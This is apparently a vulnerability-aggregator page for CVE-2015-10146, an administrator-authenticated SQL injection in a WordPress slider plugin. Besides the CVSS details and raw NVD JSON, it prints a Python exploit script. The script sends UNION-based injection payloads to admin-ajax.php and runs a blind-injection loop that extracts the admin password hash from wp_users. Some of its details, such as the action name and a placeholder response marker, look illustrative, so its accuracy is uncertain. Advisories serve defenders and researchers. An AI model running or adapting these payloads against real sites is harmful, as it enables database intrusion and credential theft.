Security Vulnerability Report
中文
CVE-2015-10146 CVSS 4.9 MEDIUM

CVE-2015-10146

Published: 2025-10-29 10:15:35
Last Modified: 2025-12-19 22:15:48

Description

The Thumbnail Slider With Lightbox plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter in all versions up to, and including, 1.0.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:i13websolution:thumbnail_slider_with_lightbox:*:*:*:*:*:wordpress:*:* - VULNERABLE
Thumbnail Slider With Lightbox插件 所有版本 <= 1.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2015-10146 SQL Injection PoC # Target: WordPress Thumbnail Slider With Lightbox plugin <= 1.0.4 # Type: SQL Injection via 'id' parameter # Authentication: Requires Administrator-level access import requests import sys TARGET_URL = "http://target-wordpress-site.com/" COOKIES = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_username": "admin", "wordpress_logged_in_password": "hashed_password_here" } def exploit_sql_injection(target_url, post_id): """ Exploit SQL injection in id parameter Extract database name as demonstration """ endpoint = f"{target_url}wp-admin/admin-ajax.php" # Malicious payload to extract database name # Original query is appended with our injected query malicious_id = f"{post_id} UNION SELECT NULL,NULL,NULL,NULL,database(),NULL,NULL,NULL,NULL,NULL-- -" data = { "action": "wpss_get_thumbnail_slider", "id": malicious_id } try: response = requests.post(endpoint, data=data, cookies=COOKIES, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response preview: {response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def blind_sql_injection(target_url, post_id): """ Blind SQL injection technique for data extraction Extract admin password hash character by character """ endpoint = f"{target_url}wp-admin/admin-ajax.php" charset = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" extracted_hash = "" for position in range(1, 35): for char in charset: payload = f"{post_id} AND SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),{position},1)='{char}'-- -" data = { "action": "wpss_get_thumbnail_slider", "id": payload } try: response = requests.post(endpoint, data=data, cookies=COOKIES, timeout=10) if "valid_response_marker" in response.text: extracted_hash += char print(f"[*] Position {position}: {char} | Current hash: {extracted_hash}") break except: continue return extracted_hash if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] exploit_sql_injection(target, "1") else: print("Usage: python cve-2015-10146.py <target_url>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2015-10146", "sourceIdentifier": "[email protected]", "published": "2025-10-29T10:15:35.383", "lastModified": "2025-12-19T22:15:48.137", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Thumbnail Slider With Lightbox plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter in all versions up to, and including, 1.0.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:i13websolution:thumbnail_slider_with_lightbox:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.0.4", "matchCriteriaId": "E21A7BA3-5D34-43DB-88EE-40B7CEA34EAE"}]}]}], "references": [{"url": "https://wordpress.org/plugins/wp-responsive-slider-with-lightbox", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/70f04f90-a0b7-46d1-85da-e898a6981fa2?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}